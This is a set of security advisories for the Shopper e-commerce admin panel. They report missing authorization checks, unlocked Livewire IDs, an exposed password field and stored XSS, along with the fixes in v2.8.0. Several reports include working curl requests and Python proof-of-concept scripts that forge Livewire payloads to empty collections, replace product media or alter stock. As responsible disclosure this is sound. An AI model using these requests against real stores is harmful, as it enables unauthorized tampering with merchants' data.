If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

Impact

Two distinct authorization defects in the team settings allowed any authenticated panel user to take over the RBAC system:

• Settings/Team/Index had no mount() authorization. Any authenticated user could load the page and use its public actions to create new roles and delete other users, including administrators.
• Settings/Team/RolePermission gated its write actions on the read-only view_users permission. Any user holding view_users could grant themselves or any other user arbitrary permissions, including manage_users and edit_orders, effectively escalating to full panel administrator from a read-only account.

Combined, these two defects allow a low-privilege authenticated user to obtain administrator privileges and remove the legitimate administrators from the panel.

Patches

Fixed in v2.8.0:

• Settings/Team/Index::mount() now authorizes against manage_users.
• Settings/Team/RolePermission write actions now require manage_users instead of view_users.

Upgrade via:

composer require shopper/admin:^2.8

Workarounds

None. Upgrade to v2.8.0.

Impact

Three related defects on admin Livewire components allowed data tampering, sensitive data disclosure, and stored XSS:

• IDOR via unlocked properties. Several Livewire components in the admin panel exposed Eloquent model identifiers as public properties without the #[Locked] attribute. An authenticated user could rewrite the wire payload from the browser to target any record id, bypassing the implicit scoping enforced by the page routing.
• Sensitive data echoed back through Hidden form field. Customers/Create::store() re-passed a Hidden _password form field straight into the create payload. The plaintext password was rendered into the HTML and transported through the Livewire snapshot in clear text, exposing credentials in the page DOM and in any logging that captures Livewire payloads.
• Stored XSS on product barcode. The product barcode field was rendered through DNS1DFacade::getBarcodeHTML() with {!! !!}. An attacker with edit_products permission could persist malicious payload in the barcode field that would execute in the browser of any admin user viewing that product, enabling session theft and privileged-action chaining.

Patches

Fixed in v2.8.0:

• All vulnerable Livewire model identifiers are now marked #[Locked].
• Customers/Create no longer round-trips the password through a Hidden form field; the plaintext password is hashed at action boundary and never returned to the client.
• The product barcode rendering now escapes the value before passing it to the barcode generator and the output is wrapped in an <svg> context that does not interpret event handlers.

Upgrade via:

composer require shopper/admin:^2.8

Workarounds

None. Upgrade to v2.8.0.

Impact

The admin tables for PaymentMethods, Currencies and Carriers exposed inline toggles and per-record actions (enable, disable, edit, delete) that were rendered for any authenticated panel user without checking the corresponding per-action permission. A low-privilege user could:

• Disable every payment method on the store, blocking checkout.
• Disable or alter the default currency, changing displayed prices and the exchange rate basis.
• Disable carriers, breaking shipping rate computation at checkout.

The impact is a full denial of checkout and pricing integrity loss, reachable by any authenticated user.

Patches

Fixed in v2.8.0. Each toggle and per-record action now requires its matching permission (edit_payment_methods, edit_currencies, edit_carriers).

Upgrade via:

composer require shopper/admin:^2.8

Workarounds

None. Upgrade to v2.8.0.

Impact

Sub-form Livewire components used in the product editor (Edit, Inventory, Seo, Shipping, Files) had no authorization on their store() method. Any authenticated panel user, regardless of role, could mutate any product's pricing, stock, SEO metadata, shipping dimensions, and attached media without holding edit_products.

The affected components accepted the product ID as a public Livewire property without #[Locked], so an attacker could also target an arbitrary product by tampering with the wire payload from the client.

Patches

Fixed in v2.8.0. Each sub-form store() now authorizes against edit_products and the product binding is locked.

Upgrade via:

composer require shopper/admin:^2.8

Workarounds

None. Upgrade to v2.8.0.

References

• Pull request: https://github.com/shopperlabs/shopper/pull/511
• CWE-862 Missing Authorization

Impact

Multiple Livewire components in the admin panel allowed an authenticated low-privilege user to mutate data without the required permission:

• Order detail Filament actions (cancel, mark paid, mark complete, capture payment, archive, start processing) were callable with read_orders only and did not require edit_orders. capturePayment could trigger an actual PSP capture.
• Order shipments table actions (mark delivered, edit tracking) were callable with browse_orders only.
• Sub-form Livewire components for products (Edit, Inventory, Seo, Shipping, Files) had no authorization on store(), so any authenticated panel user could mutate product data without edit_products.
• Settings/Team/Index had no mount() authorization at all — any authenticated user could create roles and delete other users.
• Settings/Team/RolePermission gated its write actions on the read-only view_users permission, allowing privilege escalation via the RBAC system itself.
• PaymentMethods, Currencies, Carriers table toggles and per-record actions had no per-action permission check.
• Customers/Create::store() re-passed a Hidden _password form field into the create payload.

Several public Eloquent model properties on Livewire components were not #[Locked], allowing client-side ID tampering.

A stored XSS surface existed on the product barcode field, which is rendered through DNS1DFacade::getBarcodeHTML() with {!! !!}.

Patches

Fixed in v2.8.0. Upgrade via:

composer require shopper/admin:^2.8 shopper/cart:^2.8 shopper/core:^2.8

php artisan migrate

Workarounds

None. Upgrade to v2.8.0.

Resources

• Pull request: https://github.com/shopperlabs/shopper/pull/511
• CWE-862 Missing Authorization
• CWE-285 Improper Authorization

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105

// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).